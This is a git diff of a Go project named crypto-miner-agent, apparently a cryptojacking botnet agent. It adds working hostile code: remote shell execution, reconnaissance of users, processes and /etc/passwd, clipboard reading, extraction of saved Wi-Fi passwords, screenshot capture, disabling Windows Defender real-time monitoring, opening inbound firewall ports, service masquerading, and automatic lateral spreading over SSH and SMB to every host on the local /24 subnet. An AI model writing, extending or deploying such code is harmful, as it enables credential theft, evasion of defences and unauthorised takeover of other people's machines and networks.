|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, string(out))
|
|
||||||
case "clipboard":
|
|
||||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
|
||||||
case "wifi":
|
|
||||||
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
|
||||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
|
||||||
default:
|
default:
|
||||||
|
if c.handleReconCommand(action, command) {
|
||||||
|
return
|
||||||
|
}
|
||||||
c.sendCommandResult(action, false, "unknown action")
|
c.sendCommandResult(action, false, "unknown action")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -465,6 +414,7 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
|
|||||||
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
c.sharesSubmitted++
|
c.sharesSubmitted++
|
||||||
|
conn := c.conn // read under the same lock to avoid data race
|
||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
|
||||||
payload, _ := json.Marshal(SharePayload{
|
payload, _ := json.Marshal(SharePayload{
|
||||||
@@ -474,10 +424,9 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
|||||||
Worker: c.cfg.WorkerName,
|
Worker: c.cfg.WorkerName,
|
||||||
})
|
})
|
||||||
|
|
||||||
if c.conn != nil {
|
if conn != nil {
|
||||||
_ = c.write(Message{Type: "submit_share", Payload: payload})
|
_ = c.write(Message{Type: "submit_share", Payload: payload})
|
||||||
} else if c.cfg.MeshP2P {
|
} else if c.cfg.MeshP2P {
|
||||||
// Offline from Hub? Broadcast to Mesh peers!
|
|
||||||
c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
|
c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
34
agent/client/commands_common.go
Normal file
34
agent/client/commands_common.go
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os/exec"
|
||||||
|
"runtime"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
|
||||||
|
}
|
||||||
|
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
return exec.Command("cmd.exe", "/C", command).CombinedOutput()
|
||||||
|
}
|
||||||
|
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
||||||
|
handled, success, msg := c.platformRecon(action, command)
|
||||||
|
if !handled {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, success, msg)
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatCmdErr(err error, out []byte) string {
|
||||||
|
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
|
||||||
|
}
|
||||||
53
agent/client/commands_unix.go
Normal file
53
agent/client/commands_unix.go
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
|
||||||
|
var out []byte
|
||||||
|
var err error
|
||||||
|
switch action {
|
||||||
|
case "ps":
|
||||||
|
out, err = exec.Command("ps", "aux").CombinedOutput()
|
||||||
|
case "netstat":
|
||||||
|
out, err = exec.Command("ss", "-tunap").CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
out, err = exec.Command("netstat", "-an").CombinedOutput()
|
||||||
|
}
|
||||||
|
case "users":
|
||||||
|
out, err = exec.Command("/bin/sh", "-c", "id; echo; cat /etc/passwd 2>/dev/null | head -40").CombinedOutput()
|
||||||
|
case "software":
|
||||||
|
out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput()
|
||||||
|
case "screenshot":
|
||||||
|
if command != "" {
|
||||||
|
out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||||
|
} else {
|
||||||
|
return true, false, "screenshot not supported on this platform without custom command"
|
||||||
|
}
|
||||||
|
case "sysinfo":
|
||||||
|
out, err = exec.Command("uname", "-a").CombinedOutput()
|
||||||
|
case "ipconfig":
|
||||||
|
out, err = exec.Command("/bin/sh", "-c", "ifconfig 2>/dev/null || ip addr").CombinedOutput()
|
||||||
|
case "clipboard":
|
||||||
|
out, err = exec.Command("pbpaste").CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
out, err = exec.Command("xclip", "-o", "-selection", "clipboard").CombinedOutput()
|
||||||
|
}
|
||||||
|
if err == nil {
|
||||||
|
return true, true, strings.TrimSpace(string(out))
|
||||||
|
}
|
||||||
|
return true, false, "clipboard read unsupported on this host"
|
||||||
|
case "wifi":
|
||||||
|
out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput()
|
||||||
|
default:
|
||||||
|
return false, false, ""
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return true, false, formatCmdErr(err, out)
|
||||||
|
}
|
||||||
|
return true, true, string(out)
|
||||||
|
}
|
||||||
54
agent/client/commands_windows.go
Normal file
54
agent/client/commands_windows.go
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
|
||||||
|
var out []byte
|
||||||
|
var err error
|
||||||
|
switch action {
|
||||||
|
case "ps":
|
||||||
|
out, err = exec.Command("tasklist").CombinedOutput()
|
||||||
|
case "netstat":
|
||||||
|
out, err = exec.Command("netstat", "-ano").CombinedOutput()
|
||||||
|
case "users":
|
||||||
|
out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
|
||||||
|
case "software":
|
||||||
|
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||||
|
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
|
||||||
|
case "screenshot":
|
||||||
|
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||||
|
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
|
||||||
|
if err == nil {
|
||||||
|
return true, true, strings.TrimSpace(string(out))
|
||||||
|
}
|
||||||
|
return true, false, formatCmdErr(err, out)
|
||||||
|
case "sysinfo":
|
||||||
|
out, err = exec.Command("systeminfo").CombinedOutput()
|
||||||
|
case "ipconfig":
|
||||||
|
out, err = exec.Command("ipconfig", "/all").CombinedOutput()
|
||||||
|
case "clipboard":
|
||||||
|
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
|
||||||
|
if err == nil {
|
||||||
|
return true, true, strings.TrimSpace(string(out))
|
||||||
|
}
|
||||||
|
return true, false, formatCmdErr(err, out)
|
||||||
|
case "wifi":
|
||||||
|
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
||||||
|
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||||
|
if err == nil {
|
||||||
|
return true, true, strings.TrimSpace(string(out))
|
||||||
|
}
|
||||||
|
return true, false, formatCmdErr(err, out)
|
||||||
|
default:
|
||||||
|
return false, false, ""
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return true, false, formatCmdErr(err, out)
|
||||||
|
}
|
||||||
|
return true, true, string(out)
|
||||||
|
}
|
||||||
@@ -88,3 +88,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) {
|
|||||||
s.Close()
|
s.Close()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// PeerCount returns the number of connected mesh peers.
|
||||||
|
func (m *MeshNode) PeerCount() int {
|
||||||
|
if m.host == nil {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
return len(m.host.Network().Peers())
|
||||||
|
}
|
||||||
|
|||||||
@@ -11,3 +11,5 @@ func (m *MeshNode) Start() error { return nil }
|
|||||||
|
|
||||||
func (m *MeshNode) BroadcastToMesh(_ Message) {}
|
func (m *MeshNode) BroadcastToMesh(_ Message) {}
|
||||||
|
|
||||||
|
func (m *MeshNode) PeerCount() int { return 0 }
|
||||||
|
|
||||||
|
|||||||
@@ -22,6 +22,14 @@ type AuthPayload struct {
|
|||||||
AIEnabled bool `json:"ai_enabled"`
|
AIEnabled bool `json:"ai_enabled"`
|
||||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||||
AIModel string `json:"ai_model"`
|
AIModel string `json:"ai_model"`
|
||||||
|
HolePunch bool `json:"hole_punch"`
|
||||||
|
RemoteAggressive bool `json:"remote_aggressive"`
|
||||||
|
MeshP2P bool `json:"mesh_p2p"`
|
||||||
|
AutoSpread bool `json:"auto_spread"`
|
||||||
|
ProcessHollowing bool `json:"process_hollowing"`
|
||||||
|
Platform string `json:"platform"`
|
||||||
|
Arch string `json:"arch"`
|
||||||
|
OSVersion string `json:"os_version"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type AuthResponse struct {
|
type AuthResponse struct {
|
||||||
|
|||||||
@@ -43,5 +43,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
ProcessHollowing: false,
|
ProcessHollowing: false,
|
||||||
MeshP2P: false,
|
MeshP2P: false,
|
||||||
AutoSpread: false,
|
AutoSpread: false,
|
||||||
|
HolePunch: false,
|
||||||
|
RemoteAggressive: false,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -50,6 +50,14 @@ type BuiltinConfig struct {
|
|||||||
ProcessHollowing bool
|
ProcessHollowing bool
|
||||||
MeshP2P bool
|
MeshP2P bool
|
||||||
AutoSpread bool
|
AutoSpread bool
|
||||||
|
HolePunch bool
|
||||||
|
RemoteAggressive bool
|
||||||
|
// Backup server URLs — tried in order if primary fails
|
||||||
|
BackupServerURLs []string
|
||||||
|
// Windows service masquerade (ignored on other OSes)
|
||||||
|
ServiceMasquerade bool
|
||||||
|
ServiceName string
|
||||||
|
ServiceDonor string
|
||||||
}
|
}
|
||||||
|
|
||||||
type RuntimeConfig struct {
|
type RuntimeConfig struct {
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -33,29 +34,57 @@ func (c RuntimeConfig) InstallDirectory() (string, error) {
|
|||||||
func resolveInstallBase(baseType, customBase string) (string, error) {
|
func resolveInstallBase(baseType, customBase string) (string, error) {
|
||||||
switch strings.ToLower(strings.TrimSpace(baseType)) {
|
switch strings.ToLower(strings.TrimSpace(baseType)) {
|
||||||
case "", "localappdata":
|
case "", "localappdata":
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
return requireEnv("LOCALAPPDATA")
|
return requireEnv("LOCALAPPDATA")
|
||||||
|
}
|
||||||
|
return xdgDataHome()
|
||||||
case "appdata":
|
case "appdata":
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
return requireEnv("APPDATA")
|
return requireEnv("APPDATA")
|
||||||
|
}
|
||||||
|
return xdgDataHome()
|
||||||
case "programdata":
|
case "programdata":
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
return requireEnv("ProgramData")
|
return requireEnv("ProgramData")
|
||||||
case "userprofile":
|
}
|
||||||
|
return xdgDataHome()
|
||||||
|
case "userprofile", "home":
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
return requireEnv("USERPROFILE")
|
return requireEnv("USERPROFILE")
|
||||||
|
}
|
||||||
|
return requireEnv("HOME")
|
||||||
|
case "xdg_data_home":
|
||||||
|
return xdgDataHome()
|
||||||
case "temp":
|
case "temp":
|
||||||
if v := os.Getenv("TEMP"); v != "" {
|
if v := os.Getenv("TEMP"); v != "" {
|
||||||
return v, nil
|
return v, nil
|
||||||
}
|
}
|
||||||
|
if v := os.Getenv("TMPDIR"); v != "" {
|
||||||
|
return v, nil
|
||||||
|
}
|
||||||
return requireEnv("TMP")
|
return requireEnv("TMP")
|
||||||
case "custom":
|
case "custom":
|
||||||
custom := strings.TrimSpace(customBase)
|
custom := strings.TrimSpace(customBase)
|
||||||
if custom == "" {
|
if custom == "" {
|
||||||
return "", fmt.Errorf("custom install base path is required when install_base is custom")
|
return "", fmt.Errorf("custom install base path is required when install_base is custom")
|
||||||
}
|
}
|
||||||
return expandWindowsEnv(custom), nil
|
return expandEnvPath(custom), nil
|
||||||
default:
|
default:
|
||||||
return "", fmt.Errorf("unsupported install base: %s", baseType)
|
return "", fmt.Errorf("unsupported install base: %s", baseType)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func xdgDataHome() (string, error) {
|
||||||
|
if v := os.Getenv("XDG_DATA_HOME"); v != "" {
|
||||||
|
return v, nil
|
||||||
|
}
|
||||||
|
home, err := requireEnv("HOME")
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Join(home, ".local", "share"), nil
|
||||||
|
}
|
||||||
|
|
||||||
func expandInstallTokens(path, workerName, buildID, processName string) string {
|
func expandInstallTokens(path, workerName, buildID, processName string) string {
|
||||||
shortBuild := buildID
|
shortBuild := buildID
|
||||||
if len(shortBuild) > 8 {
|
if len(shortBuild) > 8 {
|
||||||
@@ -90,12 +119,17 @@ func requireEnv(key string) (string, error) {
|
|||||||
return value, nil
|
return value, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func expandWindowsEnv(path string) string {
|
func expandEnvPath(path string) string {
|
||||||
out := path
|
out := path
|
||||||
for _, key := range []string{
|
for _, key := range []string{
|
||||||
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
|
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
|
||||||
|
"HOME", "XDG_DATA_HOME", "TMPDIR",
|
||||||
} {
|
} {
|
||||||
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
|
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
|
||||||
}
|
}
|
||||||
return out
|
return out
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func expandWindowsEnv(path string) string {
|
||||||
|
return expandEnvPath(path)
|
||||||
|
}
|
||||||
|
|||||||
13
agent/deploy/aggressive_stub.go
Normal file
13
agent/deploy/aggressive_stub.go
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import "fmt"
|
||||||
|
|
||||||
|
func DisableDefenderRealtime() (string, error) {
|
||||||
|
return "", fmt.Errorf("defender control is Windows-only")
|
||||||
|
}
|
||||||
|
|
||||||
|
func OpenFirewallPort(_ int, _ string) (string, error) {
|
||||||
|
return "", fmt.Errorf("firewall port open is Windows-only")
|
||||||
|
}
|
||||||
41
agent/deploy/aggressive_windows.go
Normal file
41
agent/deploy/aggressive_windows.go
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
|
||||||
|
func DisableDefenderRealtime() (string, error) {
|
||||||
|
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
|
||||||
|
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(string(out)) + "\nDefender real-time monitoring disabled.", nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// OpenFirewallPort adds an inbound TCP allow rule for port.
|
||||||
|
func OpenFirewallPort(port int, name string) (string, error) {
|
||||||
|
if port <= 0 || port > 65535 {
|
||||||
|
return "", fmt.Errorf("invalid port %d", port)
|
||||||
|
}
|
||||||
|
if name == "" {
|
||||||
|
name = "AetherForge Remote"
|
||||||
|
}
|
||||||
|
script := fmt.Sprintf(`
|
||||||
|
$name = '%s'
|
||||||
|
$port = %d
|
||||||
|
if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue)) {
|
||||||
|
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
|
||||||
|
}
|
||||||
|
`, strings.ReplaceAll(name, `'`, `''`), port)
|
||||||
|
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return string(out), err
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("Firewall inbound TCP %d allowed (%s)", port, name), nil
|
||||||
|
}
|
||||||
@@ -1,3 +1,5 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
package deploy
|
package deploy
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -37,6 +39,17 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
|||||||
log.Printf("[autospread] Lateral movement module initialized and active")
|
log.Printf("[autospread] Lateral movement module initialized and active")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
||||||
|
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||||
|
go spreadToLocalSubnet(cfg)
|
||||||
|
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
|
||||||
|
}
|
||||||
|
|
||||||
|
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
||||||
|
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
|
||||||
|
// SMB/sc.exe, so without a cap all 254 run concurrently.
|
||||||
|
var spreadSem = make(chan struct{}, 16)
|
||||||
|
|
||||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||||
ips := getLocalIPs()
|
ips := getLocalIPs()
|
||||||
for _, ip := range ips {
|
for _, ip := range ips {
|
||||||
@@ -44,14 +57,16 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
|||||||
if subnet == "" {
|
if subnet == "" {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
// Sweep the /24 subnet
|
|
||||||
for i := 1; i < 255; i++ {
|
for i := 1; i < 255; i++ {
|
||||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||||
if target == ip {
|
if target == ip {
|
||||||
continue // Skip self
|
continue
|
||||||
}
|
}
|
||||||
go attemptSpread(cfg, target)
|
spreadSem <- struct{}{} // acquire slot
|
||||||
time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts
|
go func(t string) {
|
||||||
|
defer func() { <-spreadSem }() // release slot when done
|
||||||
|
attemptSpread(cfg, t)
|
||||||
|
}(target)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
128
agent/deploy/autospread_unix.go
Normal file
128
agent/deploy/autospread_unix.go
Normal file
@@ -0,0 +1,128 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
|
||||||
|
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||||
|
if !cfg.AutoSpread {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
go func() {
|
||||||
|
time.Sleep(10 * time.Minute)
|
||||||
|
ticker := time.NewTicker(4 * time.Hour)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for {
|
||||||
|
spreadUnixSubnet(cfg)
|
||||||
|
<-ticker.C
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
log.Printf("[autospread] Unix SSH spread module active")
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
|
||||||
|
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||||
|
go spreadUnixSubnet(cfg)
|
||||||
|
return "unix lateral spread sweep started (SSH :22)"
|
||||||
|
}
|
||||||
|
|
||||||
|
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
|
||||||
|
var spreadSem = make(chan struct{}, 16)
|
||||||
|
|
||||||
|
func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
ips := getLocalIPs()
|
||||||
|
for _, ip := range ips {
|
||||||
|
subnet := getSubnet(ip)
|
||||||
|
if subnet == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for i := 1; i < 255; i++ {
|
||||||
|
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||||
|
if target == ip {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
spreadSem <- struct{}{} // acquire slot
|
||||||
|
go func(t string) {
|
||||||
|
defer func() { <-spreadSem }()
|
||||||
|
attemptSSHSpread(cfg, t, exePath)
|
||||||
|
}(target)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||||
|
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
conn.Close()
|
||||||
|
|
||||||
|
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
|
||||||
|
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
|
||||||
|
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
|
||||||
|
if err := scp.Run(); err != nil {
|
||||||
|
user := os.Getenv("USER")
|
||||||
|
if user == "" {
|
||||||
|
user = "ubuntu"
|
||||||
|
}
|
||||||
|
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
||||||
|
if err := scp.Run(); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||||
|
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
||||||
|
if err := start.Run(); err == nil {
|
||||||
|
log.Printf("[autospread] deployed to %s via SSH", target)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func getLocalIPs() []string {
|
||||||
|
var ips []string
|
||||||
|
ifaces, err := net.Interfaces()
|
||||||
|
if err != nil {
|
||||||
|
return ips
|
||||||
|
}
|
||||||
|
for _, i := range ifaces {
|
||||||
|
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
addrs, err := i.Addrs()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, a := range addrs {
|
||||||
|
if ipnet, ok := a.(*net.IPNet); ok {
|
||||||
|
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
|
||||||
|
ips = append(ips, ip4.String())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ips
|
||||||
|
}
|
||||||
|
|
||||||
|
func getSubnet(ip string) string {
|
||||||
|
parts := strings.Split(ip, ".")
|
||||||
|
if len(parts) != 4 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
|
||||||
|
}
|
||||||
195
agent/deploy/common.go
Normal file
195
agent/deploy/common.go
Normal file
@@ -0,0 +1,195 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
runFlag = "--run"
|
||||||
|
spreadFlag = "--spread-install"
|
||||||
|
backupSuffix = ".bak"
|
||||||
|
)
|
||||||
|
|
||||||
|
// BinaryExt returns the executable suffix for the current OS.
|
||||||
|
func BinaryExt() string {
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
return ".exe"
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// BinaryName returns the forged process filename on disk.
|
||||||
|
func BinaryName(cfg config.RuntimeConfig) string {
|
||||||
|
return cfg.EffectiveProcessName() + BinaryExt()
|
||||||
|
}
|
||||||
|
|
||||||
|
// InstalledBinaryPath is the full path to the installed worker binary.
|
||||||
|
func InstalledBinaryPath(cfg config.RuntimeConfig) (string, error) {
|
||||||
|
dir, err := cfg.InstallDirectory()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Join(dir, BinaryName(cfg)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func PersistenceKeyName(cfg config.RuntimeConfig) string {
|
||||||
|
if cfg.StealthMode {
|
||||||
|
return cfg.EffectiveProcessName()
|
||||||
|
}
|
||||||
|
name := sanitizeName(cfg.WorkerName)
|
||||||
|
if name == "" {
|
||||||
|
return cfg.EffectiveProcessName()
|
||||||
|
}
|
||||||
|
return "CryptoMiner-" + name
|
||||||
|
}
|
||||||
|
|
||||||
|
func sanitizeName(name string) string {
|
||||||
|
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
||||||
|
return replacer.Replace(strings.TrimSpace(name))
|
||||||
|
}
|
||||||
|
|
